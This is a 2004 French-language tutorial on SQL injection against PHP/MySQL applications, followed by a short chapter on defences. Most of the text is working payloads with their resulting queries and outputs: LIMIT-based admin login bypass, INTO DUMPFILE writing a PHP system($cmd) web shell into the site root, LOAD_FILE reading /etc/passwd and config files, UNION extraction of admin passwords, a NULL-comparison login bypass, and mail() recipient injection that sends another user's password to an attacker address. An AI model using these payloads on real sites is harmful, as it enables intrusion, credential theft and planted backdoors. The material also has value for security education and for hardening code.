PHP
et (My)SQL
0-
Table de matières :
1- Introduction
2- LIMIT
3- SQL FILE COPY
4- UNION
5- NULL Auth
6- mail() + SQL
7- Sécurisation
8- Credits
1-
Introduction :
Bonjour à tous.
Ce texte pourrait être la suite de mon texte "L'injection
(My)SQL via PHP" achevé en juillet 2003... néanmoins
je ne lui ai pas donné le même nom car ce dont je vais parler
ici, bien que toujours en rapport avec le SQL, n'est pas
seulement de l'injection SQL; il y a aussi quelques réactions
dûes au couple PHP/MySQL (très (re)connu, et très utilisé).
Si certaines choses vous échapent au sujet de l'injection SQL
dans les explications qui suivent, il est fortement possible que
vous trouviez des réponses dans ce premier texte de juillet
2003.
Je vais traiter ici de cas moins généraux, plus prècis que
dans ce précédent texte (d'où le fait qu'il y a plus de
chapitres mais moins de texte :)), comme par exemple de les
injections SQL avec UNION, dont je n'avais pas parlé auparavant
(sauf pour dire que j'en reparlerai :)), ainsi que d'autres
petites choses.
En vérité, ce deuxième texte sur le sql et PHP est né
uniquement grâce au fait que je n'avais justement pas parlé
d'UNION; il fallait combler ce manque. En me documentant pour
être sûr de ne pas raconter de conneries :), j'ai eu quelques
idées. Ce qui fait qu'en fait les deux premiers chapitres du
texte qui suit ne sont là qu'en satellite à celui sur UNION,
mais j'ai trouvé les points suffisament importants pour leur
dédier un chapitre entier. Mais plus cours :p
Alors pour certains titres de la table de matières ne soyez pas
étonnés de n'avoir jamais entendu ça, comme j'ai découvert
ces problèmes par moi-même, je leur ait moi-même donné un nom
:p en essayant qu'ils soient appropriés et en attendant de
trouver mieux, ou de me rendre compte qu'ils en ont déjà un.
Je rappelle que pour tout ces exemples, je considère que
magic_quotes_gpc est à OFF dans le php.ini.
2- LIMIT :
LIMIT est
utilisée pour limiter le nombre d'enregistrements retournés par
une requête SELECT. Ses arguments sont des entiers constants. Si
un seul argument est donné, il fixera le nombre d'enegistrements
maximum à retourner. Si deux arguments sont donnés, ils
fixeront la limite de début et de fin du résultat.
On sait que si une requête SQL est de cette forme :
SELECT
* FROM membres WHERE pseudo='$pseudo' AND
pass='$password' |
il suffira de
donner à $pseudo la valeur ' OR 1=1/* pour que la requête exécutée soit :
SELECT
* FROM membres WHERE pseudo='' OR 1=1/* AND pass='' |
Cette requête
aura donc comme résultats tout les champs de tout les
enregistrements de la table membres.
Il arrive que d'autres comptes aient été créés avant l'admin.
Imaginons une table de 5 enregistrements dont le premier
enregistrement contiendra un membre simple, le deuxième un
modérateur, et le troisième, enfin, l'admin.
Le résultat de la requête précédente sera alors :
idmem |
pseudo |
pass |
email |
level |
1 |
test |
d5s14e |
test@test.com |
0 |
2 |
mode |
1p8b4g9 |
mode@website.com |
1 |
3 |
admin |
-m*t4z4a |
webmaster@vuln.com |
2 |
4 |
John |
9a4r8t |
John@url.com |
0 |
5 |
Bob |
555k555 |
Bob@marley.com |
0 |
On aura donc 5
enregistrements à traiter. Pourtant PHP devra faire un choix,
qui sera, en fonction de la methode d'extraction de l'information
voulue, le dernier ou (le plus souvent) le premier champ : Bob ou
test (voir le chapitre concernant UNION). Or il serait plus
interessant bien sûr pour un hacker de se logger en tant
qu'admin.
Il lui faut donc trouver un moyen de tester chaque compte.
Evidemment ici on considère qu'on ne connait pas la structure de
la table membres, sinon on aurait directement injecté ' OR level=2/* comme valeur de $pseudo
par exemple. Ou bien on aurait testé en incrémentant à chaque
fois le champ idmem.
Non, il faut faire sans les noms des champs. Et c'est ici
qu'intervient LIMIT. Comme le dit son nom, il va permettre de
fixer une limite au résultat.
Par exemple si on avait donné à $pseudo la valeur ' OR 1=1 LIMIT 0,2/* , le résultat de la
requête serait :
idmem |
pseudo |
pass |
email |
level |
1 |
test |
d5s14e |
test@test.com |
0 |
2 |
mode |
1p8b4g9 |
mode@website.com |
1 |
3 |
admin |
-m*t4z4a |
webmaster@vuln.com |
2 |
On peux grâce
à cet élément vérifier chaque enregistrement donné en
résultat un à un, avec LIMIT 0,1 puis LIMIT 1,2, pour arriver
finalement à ' OR 1=1 LIMIT 2,3/* ce qui donne comme requête :
SELECT
* FROM membres WHERE pseudo='' OR 1=1 LIMIT 2,3/* AND
pass='' |
et comme
résultat :
idmem |
pseudo |
pass |
email |
level |
3 |
admin |
-m*t4z4a |
webmaster@vuln.com |
2 |
L'attaquant sera
alors loggé en tant qu'admin sans connaître la structure de la
table membres.
3-
SQL FILE COPY :
Dans "L'injection
(My)SQL via PHP", on a vu comment utiliser INTO OUTFILE
et INTO DUMPFILE dans une requête SELECT. Par exemple, la
requête :
SELECT
* FROM table INTO OUTFILE '/complete/path/file1.txt' |
enregistrera
tout les éléments de la table "table" dans le fichier
/complete/path/file1.txt du serveur (ici le WHERE 1=1 n'est pas
nécessaire).
Une particularité de INTO OUTFILE est qu'il FAUT un FROM avec
une table existante mais si logiquement on en aurait pas besoin,
sinon il ne fonctionne pas.
Mais cela ne nous empêche pas de faire des choses interessantes,
il faut juste connaître une table. Par exemple, pour créer une
backdoor PHP avec une requête SQL, il ne sera pas possible de
faire ça :
SELECT
'<? system($cmd); ?>' INTO DUMPFILE
'/path/to/website/backdoor.php' |
par contre la
requête :
SELECT
'<? system($cmd); ?>' FROM existant_table INTO
DUMPFILE '/path/to/website/backdoor.php' |
fonctionnera
parfaitement, créant un fichier PHP à la racine du site.
On a aussi vu comment utiliser la fonction LOAD_FILE() dans les
requêtes UPDATE. Mais, tout comme INTO OUTFILE d'ailleurs, cette
fonction peux sans problèmes s'utiliser dans d'autres sortes de
requêtes. Par exemple avec SELECT, la requête :
SELECT
LOAD_FILE('/complete/path/file2.txt') |
va renvoyer
comme résultat le contenu du fichier /complete/path/file2.txt.
De là il n'y a plus qu'un pas à faire pour réaliser une copie
de fichiers avec une requête SQL.
Imaginons que l'on veuille copier grâce à une requête SQL le
fichier http://[url]/config.php dans le fichier
http://[url]/config.txt, la racine du site étant
/complete/path/.
Il suffira alors d'exécuter la requête :
SELECT
LOAD_FILE('/complete/path/config.php') FROM
existant_table INTO OUTFILE '/complete/path/config.txt' |
Pour cette
opération, bien sûr, le serveur doit avoir le droit en
lecture/ecriture, plus toutes les conditions propres à INTO
OUTFILE et à la fonction LOAD_FILE().
Post Mortem (heu... Scriptum) : Au sujet de LOAD_FILE()... il
pourrait aussi être interessant d'utiliser cette fonction dans
des requêtes INSERT. Par exemple avec la requête :
INSERT
INTO membres (login,pass,email,description) VALUES
('$login','$pass','$email','$descr') |
et qu'on donne
par exemple à $email la valeur em@i.l',LOAD_FILE('/etc/passwd'))#,alors la requête SQL
deviendra :
INSERT
INTO membres (login,pass,email,description) VALUES
('mylogin','mypass','em@i.l',LOAD_FILE('/etc/passwd'))#','') |
et la
description du nouvel utilisateur sera le fichier /etc/passwd !
4-
UNION :
Voici donc le
chapitre principale de ce texte.
UNION permet de combiner le résultat de plusieurs requêtes de
type SELECT en un seul résultat.
Pour les explications et exemples, imaginons 2 tables. La
première, la table 'membres' contient l'enregistrement :
mid |
mlogin |
mpass |
memail |
mnewsletter |
5 |
Franck |
j0seph1ne |
franck.boune@ext!asia.com |
0 |
Le champ mid est
l'ID du membre, mlogin son login, mpass son mot de passe, memail
son e-mail, et mnewsletter dit si il est abonné ou pas à la
newsletter (0=pas abonné).
Un deuxième table, 'admin', contient l'enregistrement :
aid |
alogin |
apass |
alevel |
1 |
webmaster |
e81a-12x9w |
2 |
Le champ aid est
l'ID de l'admin, alogin son login, apass sont mot de passe et
alevel son niveau d'administration (1=modérateur,
2=administrateur).
Donc deux tables distinctes avec des champs de types et de noms
ainsi que des structures différentes.
Maintenant voyons comment utiliser UNION. Tout d'abord il faut
savoir que pour qu'UNION fonctionne, le nombre de champs
résultants des requêtes liées doit être le même.
Ainsi cette requête générera une erreur :
SELECT
mlogin FROM membres WHERE mid=5 UNION SELECT aid, alogin
FROM admin WHERE aid=1 |
Car la première
requête SELECT extrait 1 champ (mlogin) et la deuxième en
extrait 2 (aid et alogin).
Par contre cette requête :
SELECT
mlogin,mpass FROM membres WHERE mid=5 UNION SELECT
alogin,apass FROM admin WHERE aid=1 |
donnera le
résultat :
mlogin |
mpass |
Franck |
j0seph1ne |
webmaster |
e81a-12x9w |
On remarque que
les champs de la deuxième ligne du résultat sont considérés
comme ayant les noms de la première requête, c'est-à-dire
mlogin et mpass, alors que dans la table ce sont alogin et apass.
On verra plus tard que ça peut avoir une consèquence.
Mais en vérité ces 2 derniers champs ne prennent pas que les
noms des champs choisit dans la première requête, ils prennent
aussi leur type.
Ce qui fixe donc une deuxième contrainte à prendre en compte.
Ici on a pas eu de problèmes car tout les chmaps étaient de
type "string".
Mais imaginons que la requête ait été :
SELECT
mlogin,mid FROM membres WHERE mid=5 UNION SELECT
alogin,apass FROM admin WHERE aid=1 |
bien que le
nombre de champs et la syntaxe soient bons, le résultat ne sera
pas celui escompté mais bien :
mlogin |
mid |
Franck |
5 |
webmaster |
0 |
En effet dans le
résultat de la deuxième requête, on aura bien le login de
l'admin 1, mais pas sont mot de passe. mid étant un champ de
type "integer", le deuxième champ (de type
"string" : apass) sera convertit à ce type, donnant le
résultat 0.
J'ai néanmoins élaboré une petite technique (:p) pour
récupérer des infos de type "string" même si dans la
première requête les champs sont de type "integer".
Cette technique consiste en convertir le champ "string"
en base 10 (en integer quoi) grâce à la fonction CONV().
Il faut d'abord pour cela choisir une base de début, j'opte pour
36, qui permettra de convertir tout les chiffres (0->9) et
toutes les lettres (a->z). Elle aura comme défaut de ne pas
accepter les caractères -, _,... qui peuvent se trouver dans un
mot de passe. Si il y a un de ces caractères dans un champ, la
fonction s'arrête de convertir et renvoit le résultat
incomplet.
MySQL a du mal avec le base plus élevées, et renvoit NULL.
Donc comme le mot de pass admin contient dans cet exemple
justement un caractère "-", on va extraire le mot de
passe de Franck dans une deuxième requête liée par UNION pour
que ça ne pose pas de problèmes, ce qui donne :
SELECT
mid FROM membres WHERE mid=4 UNION SELECT
CONV(mpass,36,10) FROM membres WHERE mid=5 |
Le résultat
sera :
53662927459226 étant le mot de
passe convertit de la base 36 à la base 10 du membre Franck
(ayant l'id 5).
Il suffira alors de faire la convertion inverse pour récupérer
le mot de passe en clair, par exemple avec une simple requête
SQL :
SELECT
CONV(53662927459226,10,36) as resultat |
Ce qui donnera
le résultat :
Imaginons maintenant que l'on veuille une requête SQL UNION qui
affiche tout les champs du membre "Franck" et de
l'admin "webmaster".
Cette requête ne serait pas correct :
SELECT
* FROM membres WHERE mlogin='Franck' UNION SELECT * FROM
admin WHERE alogin='webmaster' |
car le nombre de
champs est différent. Il doit y en avoir 5 en résultat dans la
deuxième requête (comme dans la première requête) alors que
la table admin n'en contient que 4. On peut alors en rajouter un
directement dans la requête de cette façon :
SELECT
* FROM membres WHERE mlogin='Franck' UNION SELECT
aid,alogin,apass,'blom@b!um.be',alevel FROM admin WHERE
alogin='webmaster' |
Le résultat
serait alors :
mid |
mlogin |
mpass |
memail |
mnewsletter |
5 |
Franck |
j0seph1ne |
franck.boune@ext!asia.com |
0 |
1 |
webmaster |
e81a-12x9w |
blom@b!um.be |
2 |
Evidemment si on
avait fait le contraire, si on avait commencé par la table
'admin' de cette façon :
SELECT
* FROM admin WHERE alogin='webmaster' UNION SELECT * FROM
membres WHERE mlogin='Franck' |
la requête
aurait été tout aussi fausse. Une solution est d'utiliser la
fonction CONCAT(), pour donner deux résultats en un.
Voyons la requête :
SELECT
* FROM admin WHERE alogin='webmaster' UNION SELECT
mid,CONCAT(mlogin,char(58),char(58),memail),mpass,mnewsletter
FROM membres WHERE mlogin='Franck' |
char(58)
renvoyant le caractère ":", le résultat de cette
requête sera :
aid |
alogin |
apass |
alevel |
1 |
webmaster |
e81a-12x9w |
2 |
5 |
Franck::franck.boune@ext!asia.com |
j0seph1ne |
0 |
L'application de l'injection SQL ne devrait désormais plus poser
de problèmes, ou du moins plus de problèmes si tout les
résultats des 2 requêtes sont affichés (avec une boucle
quoi...). Par exemple (en imaginant que chaque membre soit lié
à un groupe bien précis) si on a le code :
$result
= mysql_query("SELECT mlogin FROM membres WHERE
idgroup=$groupid"); |
et qu'on donne
à $groupid la valeur 1 UNION SELECT apass FROM admin WHERE 1=1, alors la requête
deviendra :
SELECT
mlogin FROM membres WHERE idgroup=1 UNION SELECT apass
FROM admin WHERE 1=1 |
Cela ne posera
aucun problème car tout les éléments seront affichés. On aura
donc d'abord tout les logins de membres appartenant au groupe 1,
puis tout les mots de passe administrateur.
Mais que se passe-t-il si le script n'affiche qu'un des
enregistrements donnés en résultat ? Lequel affichera-t-il ?
Un enregistrement au hasard ? non :p
Il choisira le premier ou le dernier enregistrement selon la
méthode utilisée dans PHP.
Pour l'exemple imaginons un simple script qui affiche le login de
l'utilisateur en fonction de son ID membre :
<?
$link = mysql_connect("dbhost",
"dblogin", "dbpass") or
die("Impossible de se connecter : " .
mysql_error());
mysql_select_db("dbname");
$result = mysql_query("SELECT mlogin FROM membres
WHERE mid=$memid");
[RECUPERATION/AFFICHAGE];
mysql_close($link);
?> |
Donc
l'enregistrement dont un élément sera affiché (mlogin),
dépendra du code ici marqué [RECUPERATION/AFFICHAGE];.
Imaginons que ce code de récupération et d'affichage soit :
list
($login) = mysql_fetch_row($result);
echo $login; |
Cette méthode
nous arrange, car elle affichera le dernier élément extrait.
Donc si on entre comme valeur à $memid 5 UNION SELECT apass FROM
admin WHERE aid=1, c'est le dernier mot de passe admin enregistré
dans la DB qui sera affiché et pas le login du membre 1.
Il est en de même de cette autre méthode qui va aussi choisir
le dernier résultat.
On voit que le champ à afficher est repéré par son nom, ce qui
ne pose pas de problèmes, car comme on l'a vu les champs
résultants de la deuxième requête SELECT sont considérées
comme ayant les mêmes noms que ceux de la première requête
SELECT :
$resultarray
= mysql_fetch_array($result);
echo $resultarray["mlogin"]; |
Voyons maintenant une dernière méthode :
$resultarray
= mysql_fetch_row($result);
echo $resultarray[0]; |
Ici c'est le
premier enregistrement, celui d'indice 0, dans lequel le script
ira chercher les infos à afficher. Il faut donc faire en sorte
que le premier enregistrement soit celui qui nous interesse :
celui de la seconde requête SELECT.
Pour cela on peut utiliser deux moyens. Le premier est d'utiliser
LIMIT, comme on a vu dans le chapitre 1, c'est-à-dire de donner
à $memid la valeur 5 UNION SELECT apass FROM admin WHERE aid=1 LIMIT
1,2.
Le deuxième moyen est de faire en sorte que la première
requête ne renvois pas de résultat, en lui donnant une
condition qui ne trouvera aucun enregistrement. Par exemple avec
la valeur -1
UNION SELECT apass FROM admin WHERE aid=1 (ou encore 5 OR 1=0 UNION SELECT
apass FROM admin WHERE aid=1 ou etc etc...). La requête devient alors
:
SELECT
mlogin FROM membres WHERE mid=-1 UNION SELECT apass FROM
admin WHERE aid=1 |
L'id membre -1
n'existant pas, le résultat final de cette requête sera :
et ça sera donc
le mot de passe de l'admin 1 qui sera affiché.
Voilà pour ce qui est d'extraire des informations de la base de
données avec UNION si les informations sont affichées ensuite
par le script utilisé.
Mais UNION peut-il être utilisé efficacement même si les
informations ne sont pas affichées ?
Pour cela j'ai juste légérement changé le script qui affichera
le login du membre en fonction de son ID membre par un script qui
dira simplement si le membre existe (toujours en fonction de son
ID membre), sans afficher aucune information :
<?
$link = mysql_connect("dbhost",
"dblogin", "dbpass") or
die("Impossible de se connecter : " .
mysql_error());
mysql_select_db("dbname");
$result = mysql_query("SELECT mlogin FROM membres
WHERE mid=$memid");
if ($result != 0){
print("Le membre $memid existe.");
}else{
print("Le membre $memid n\'existe pas");
}
mysql_close($link);
?> |
Il suffit de
revenir au chapitre précédent pour trouver des utilisations de
UNION dans ce script.
En effet, si on donne à $memid la valeur -1 UNION SELECT apass
FROM admin WHERE aid=1, on aura (voir quelques lignes plus haut) comme
résultat le mot de passe de l'admin, mais ici il ne sera pas
affiché (le script affichera juste "Le membre -1 UNION
SELECT apass FROM admin WHERE aid=1 existe.").
Si maintenant on donne à $memid la valeur -1 UNION SELECT apass
FROM admin WHERE aid=1 INTO OUTFILE '/path/apass.txt', la
requête deviendra :
SELECT
mlogin FROM membres WHERE mid=-1 UNION SELECT apass FROM
admin WHERE aid=1 INTO OUTFILE '/path/apass.txt' |
alors le
résultat ne sera toujours pas affiché, mais il sera enregistré
dans le fichier /path/apass.txt, où (si "path" est le
chemin complet vers le site) il pourra être accessible à tous
en lecture.
Toujours en se basant sur le chapitre précédent, on peut
directement faire une copie de fichier (disons toujours
config.php vers config.txt) avec une requête UNION, en donnant
à $memid la valeur -1 UNION SELECT LOAD_FILE('/path/config.php') FROM
membres INTO OUTFILE '/path/config.txt'. Le résultat de
LOAD_FILE() étant du même type string que le champ mlogin, on a
pas de problèmes de ce côté. On peut par contre avoir des
problèmes avec la taille du champ.
On peut evidemment se servir d'UNION pour créer un fichier PHP
ou autre en donnant à $memid la valeur -1 UNION SELECT '<?
phpinfo(); ?>' FROM membres INTO OUTFILE '/path/badfile.php' .
Et enfin une dernière idée serait d'utiliser le LIKE pour
récupérer des infos malgrés qu'elles ne soient pas affichées
(voir "L'injection (My)SQL via PHP", chapitre
"SELECT").
5- NULL Auth :
Le fait de
vérifier qu'un utilisateur a bien rentré toutes les données
avant d'utiliser les variables concernées ne sert pas qu'à
améliorer la qualité du script ou la compréhension de
l'utilisateur. Il permet aussi d'empêcher une éventuelle faille
de sécurité selon le contexte.
En effet imaginons un script de login qui ne vérifie que la
variable qui va être utilisée dans la requête SQL, la variable
$login :
<?php
$link = mysql_connect("dbhost",
"dblogin", "dbpass") or
die("Impossible de se connecter : " .
mysql_error());
mysql_select_db("dbname");
if (!isset($login)){
echo "Veuillez entrer votre login.";
}else{
$result = mysql_query("SELECT password FROM membres
WHERE login='$login'");
list ($pass) = mysql_fetch_row($result);
if ($pass == $password){
echo "Identification réussie.";
}else{
echo "Login ou mot de passe incorrect.";
}
}
mysql_close($link);
?> |
On peut donc ici
se permettre d'exécuter le script sans avoir donné à $password
aucune valeur. Rappelons que $password ne contiendra pas alors
exactement rien mais bien la valeur NULL.
Voyons maintenant ce qui se passe si en plus on donne à $login
une valeur qui n'existe pas dans la base de données, un login
inexistant. Disons "nonexistant". La requête SQL
exécutée sera alors :
SELECT
password FROM membres WHERE login='nonexistant' |
La fonction
list() ne donnera alors aucune valeur à la variable $pass... ou
plus exactement elle lui donnera la valeur NULL.
Viens ensuite la comparaison entre $pass et $password. Ces deux
variables contiennent chacune la valeur NULL, la comparaison
renvoit donc vrai... et on est considéré comme loggé sans
connaître ni le mot de passe ni le login utilisateur.
La vérification de chaque variable est donc dans ce cas
cruciale.
6- mail() + SQL :
Dans ce
chapitreje vais expliquer un phénomène qui m'a frappé dans une
ou deux applications distribuées sur le net.
J'ai déjà vu des textes sur le net parlant d'injection SQL dans
un formulaire d'envoi d'email (en cas de perte).
Ces méthodes expliquaient comment faire de l'injection SQL
malgré une vérification du format de l'email grâce à des
expressions regulières.
En gros il fallait d'une manière ou d'une autre intercaler une
adresse e-mail d'un format correct dans l'injection.
Par exemple avec le code :
$result
= mysql_query("SELECT passwd FROM membres WHERE
email='$email'"); |
on pouvait
donner à $email la valeur : ' OR 1=1 /*correct@email.com*/ INTO
OUTFILE '/path/to/site/pwd.txt , ce qui donnait la requête :
SELECT
passwd FROM membres WHERE email='' OR 1=1
/*correct@email.com*/ INTO OUTFILE '/path/to/site/pwd.txt |
Ces méthodes
n'utilisaient donc que la partie MySQL du script.
Mais où le script va-t-il chercher l'e-mail où il doit envoyer
le mot de passe ?
Il a deux choix, soit dans la base de données, soit dans la
variable entrée par l'utilisateur de récupération.
C'est cette deuxième possibilité qui peut poser problème si il
n'y a pas suffisament de vérifications.
Imaginons le script de récupération :
<?php
$link = mysql_connect("dbhost",
"dblogin", "dbpass") or
die("Impossible de se connecter : " .
mysql_error());
mysql_select_db("dbname");
$email=$_POST["email"];
$result = mysql_query("SELECT passwd FROM membres
WHERE email='$email'");
if (mysql_num_rows($result)>0){
$resultarray=mysql_fetch_row($result);
$message="Hello,\nYour password :
".$resultarray[0].".\nBye !\n"
if (mail($email,"Your
Password",$message,"From:
webmaster@bugged!com")){
echo "Your password has been sent.";
}
}
mysql_close($link);
?> |
Bon evidemment
ici le script est très primaire mais c'est pour l'exemple.
Il serait possible via ce script de se faire envoyer dans son
e-mail le mot de passe de n'importe quel utilisateur.
En effet voyons ce qui se passe si on donne à
$_POST["email"] la valeur ' OR login='Bob' OR 1=',hacker@emai!.com .
D'abord au niveau SQL, la requête exécutée deviendra :
SELECT
passwd FROM MEMBRES WHERE email='' OR login='Bob' OR
1=',hacker@emai!.com' |
La condition email='' renverra FAUX car on
imagine que l'e-mail est obligatoire, et la condition 1=',hacker@emai!.com' renverra FAUX aussi car
1 n'est pas égal à ",hacker@emai!.com".
Par contre la condition login='Bob' renverra VRAI, et c'est son mot de passe qui sera
renvoyé.
Maintenant voyons à qui il sera envoyé : voyons ce qui se passe
au niveau de la fonction mail(). Si le mot de passe est
"9xa4f7p6", la fonciton exécutée sera :
mail("'
OR login='Bob' OR 1=',hacker@emai!.com", "Your
Password", "Hello,\nYour password :
9xa4f7p6\nBye !\n","From:
webmaster@bugged!com") |
et au niveau des
headers mail, on aura :
To: '
OR login='Bob' OR 1=', hacker@emai!.com
Subject : Your Password
From : webmaster@bugged!com
Content-Type: plain/text
Hello,
Your password : 9wa4f7p6
Bye !
|
L'header To:
peut recevoir plusieurs e-mails en arguments, et c'est à ces
e-mails que le message sera renvoyé; il suffit de séparer ces
destinataires par des virgules.
Il y a donc ici deux destinataires. Le premier est ' OR login='Bob' OR 1=' et le deuxième est hacker@emai!.com.
Le premier envois doit donc poser problème, est renverra
peut-être un message d'erreur à l'expéditeur
(webmaster@bugged!com), mais le deuxième sera bien renvoyé à
hacker@emai!.com avec le mot de passe de Bob.
Il y a bien sûr toute une ribambelle de possibilités comme par
exemple ' OR
login='Bob'#,hacker@emai!.com, ou encore hacker@emai!.com,' OR login='Bob,...
7- Sécurisation :
Chaque variable entrante (et modifiable par l'utilisateur) doit
être traitée séparément selon le type qui est attendu.
Si c'est une variable de type string (un fichier non binaire, un
caractère, une chaîne de caractères,...) le problème peut
être réglé par la configuration ou dans le code PHP. Les
caractères à filtrer sont " ou ' (le guillemet et l'apostrophe) selon celui
utilisé durant l'écriture de la requête.
Il y a donc deux manières de faire. Soit supprimer ces
caractères (ou les remplacer par autre chose) avec par exemple
la ligne :
$var =
preg_replace("([\'\"])","?",$var); |
qui remplacera
les caractères " et ' par le caractère ?.
Soit faire en sorte qu'ils soient considérés comme faisant
partie d'une chaîne de caractères, et pas un séparateur de la
syntaxe SQL pour les chaînes de caractères.
Par exemple ici :
SELECT
* FROM tutos WHERE title="Le
\"tuple\"" AND contenu LIKE
'%l\'elephant%' |
Ici on voit
clairement certains caractères " et ' considérés d'abord
comme faisant partie de la syntaxe de la requête, et d'autres
faisant partie de chaînes de caractères. A ces derniers, pour
être reconnus comme tels, on a rajouté avant le caractère \.
Il est possible de le faire automatiquement dans le fichier
php.ini, en mettant magic_quotes_gpc à ON, mais il me semble
préférable d'agir directement dans le code, pour bien être
sûr de ce qui peut ou pas être entré comme valeur.
Voyons donc par le code PHP grâce à la fonction addslashes()...
si on a la ligne :
$result
= mysql_query("SELECT passwd FROM membres WHERE
email='$email'"); |
et si le hacker
veut récupérer le mot de passe de Bob dans un fichier
"result.txt", il lui suffira d'entrer comme valeur à
$email : '
OR login="Bob" INTO OUTFILE '/result.txt .
Si maintenant j'utilise la fonction addslashes() en remplacant la
ligne de code précédente par ces deux lignes :
if
(!get_magic_quotes_gpc()) { $email = addslashes($email);
}
$result = mysql_query("SELECT passwd FROM membres
WHERE email='$email'"); |
alors la
requête SQL sera :
SELECT
password FROM membres WHERE email='\' OR
login=\"Bob\" INTO OUTFILE \'/result.txt' |
ce qui aura
comme effet de rechercher une adresse email qui n'existe
sûrement pas dans la table membres : la valeur de la variable
$email.
J'ai tenu compte de la fonction get_magic_quotes_gpc() pour ne
pas mettre plus de backslashs qu'il n'en faut si magic_quotes_gpc
est déjà à ON.
N'oubliez pas de tenir compte également des eventuels
stripslashes() se trouvant dans le code.
Voyons maintenant ce qu'il en est si la variable entrée doit
être de type entier.
On sait maintenant que cette requête :
$result
= mysql_query("SELECT mlogin FROM membres WHERE
mid=$memid"); |
pourrait servir
par exemple à une requête UNION sans nécessairement utiliser
de caractère " ou ', donc la solution des variables de type
string n'est pas suffisante.
Comme pour les variables string, il y a tout une ribambelle de
solutions.
Avec la fonction intval(), qui convertit la variable en type
integer, il faut rajouter cette ligne :
$memid
= intval($memid);
$result = mysql_query("SELECT mlogin FROM membres
WHERE mid=$memid"); |
On peut utiliser
le casting pour forcer le type de la variable, en ajoutant
plutôt cette ligne :
ce qui peut
être utilisé pour d'autres types de variables ( (bool) ou
(boolean), (int) ou (integer), (real), (double), (float),
(string), (array), (object) ).
On peut également vérifier le type avec la fonction is_numeric,
en ajoutant plutôt la ligne :
$memid
= !is_numeric($memid) ? 0 : $memid; |
J'utilise ici
is_numeric(), mais il y a une fonction pour chaque type :
is_float(), is_integer(), is_string(), is_array(),...
Pour convertir, on aurait pu enfin utiliser la fonction settype()
avec la ligne :
Les differents
type possibles sont ici : boolean, int, float, string, array,
object et null.
Pour chacun des exemples vu pour la convertion, si la variable
est de type chaînes de caractères, $memid vaudra 0.
Enfin, une solution qui est loin d'être la meilleure mais qui
existe quand même :) est de considérer dans la syntaxe de la
requête la variable comme étant de type string, c'est-à-dire
en l'entourant de ' ou de ", puis en la filtrant comme une
chaîne de caractères :
$result
= mysql_query("SELECT mlogin FROM membres WHERE mid='$memid'"); |
8- Credits :
N'hésitez pas à me contacter pour toute question
en rapport avec ce texte, ajouts, remarques, erreurs, ...
Texte rédigé par Germain Randaxhe aka frog-m@n ( frog-man@swissinfo ) de phpSecure.info.
Achevé le 23 février 2004.
frog-m@n